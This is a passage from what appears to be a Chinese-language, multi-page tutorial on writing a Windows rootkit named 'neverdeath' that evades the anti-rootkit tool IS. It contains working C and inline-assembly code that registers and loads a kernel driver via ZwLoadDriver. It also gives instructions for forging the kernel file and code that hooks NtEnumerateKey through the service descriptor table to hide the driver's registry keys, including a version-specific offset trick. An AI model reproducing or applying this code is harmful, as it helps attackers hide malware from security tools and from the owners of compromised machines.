| p; strlen( DriverFilePath ) );
if ( Regrt != ERROR_SUCCESS ) { return false; }
Regrt = RegSetValueEx ( RegKey, "Start", NULL, REG_DWORD, (const unsigned char *)(&Start), 4 );
if ( Regrt != ERROR_SUCCESS ) { return false; } Regrt = RegSetValueEx ( RegKey, "Type", NULL, REG_DWORD, (const unsigned char *)(&Type), 4 );
if ( Regrt != ERROR_SUCCESS ) { return false; }
//还记得前面隐藏进程时,我们进程ID是从注册表中取的 //下面就是把进程ID写入注册表,不会影响驱动的加载
ProcessID=GetCurrentProcessId();
Regrt = RegSetValueEx ( RegKey, "ProcessID", NULL, REG_DWORD, (const unsigned char *)(&ProcessID), 4 );
if ( Regrt != ERROR_SUCCESS ) { return false; } CloseHandle( RegKey );
ZwLoadDriver = (DWORD) GetProcAddress ( GetModuleHandle( "ntdll.dll" ), "ZwLoadDriver" );
RtlInitUnicodeString = (DWORD) GetProcAddress( GetModuleHandle( "ntdll.dll" ), "RtlInitUnicodeString" ); _asm { pushad push RegServicePath lea edi, RegService push edi call RtlInitUnicodeString //装载UNICODE字符
lea edi, RegService push edi call ZwLoadDriver popad }
return true;
}
请注意上面这段代码中加载驱动时所使用的注册表路径格式是: “\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath” 而不是: “HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\neverdeath” 也许你已经想到了那么卸载驱动会不会就是函数“ZwUnloadDriver”?自己试一下不就知道了:)
六、隐藏注册表:
IS处理注册表并没有什么新意,就是调用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一类的注册表操作函数,通过伪造内核文件,所以这部分可以很轻松hook并实现隐藏。IS在这里玩了一个小花样,在XP下,IS会在把从ntoskrnl.exe读到的NtEnumerateKey起始地址的第三个字(注意是字,不是字节!)先加上0xD50后,再进行还原,因此你在伪造内核文件时必须先把自己构造的代码的第三个字减去0xD50后再写入到otoskrnl.exe中,否则就等着BSOD吧。而在2K中就不需要这些操作。这里主要是通过hook注册表函数NtEnumerateKey来隐藏我们注册中的“CurrentControlSet\Services”下的 “neverdeath”项以及“CurrentControlSet\Enum\Root”下的“LEGACY_NEVERDEATH”项。至于隐藏键与键值在这里就不说了,自己随手写一个就是了。顺便提一下,由于windows的regedit也是调用这些函数访问注册表,所以如果你在IS中隐藏了注册表也就等于在windows的regedit中隐藏了。以下代码在XP下测试通过,如要在2K或2K3中运行,请根据需要自己进行取舍。 由于NtEnumerateKey没有被ntoskrnl.exe导出,这里利用 NtEnumerateKey在服务表 偏移 = “NtDuplicateToken”在服务表中的偏移+2 来获取NtEnumerateKey地址。
PCWSTR HideKey = L"neverdeath"; PCWSTR HideKeyLEG = L"LEGACY_NEVERDEATH";
unsigned char ResumCodeNtEnumerateKey[6]; unsigned char CrackCodeNtEnumerateKey[6]; unsigned char CrackCodeNtEnumerateKeyWriteFile[6];
typedef NTSTATUS ( *NTENUMERATEKEY ) ( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength );
NTENUMERATEKEY OldNtEnumerateKey;
typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
NTSTATUS NewNtEnumerateKey(
IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ) { NTSTATUS Status; PCWSTR KeyNamePtr;
_asm //还原 { pushad mov edi, OldNtEnumerateKey mov eax, dword ptr ResumCodeNtEnumerateKey[0] mov [edi], eax &nbs
<< 上一页 [11] [12] [13] [14] [15] [16] [17] 下一页 |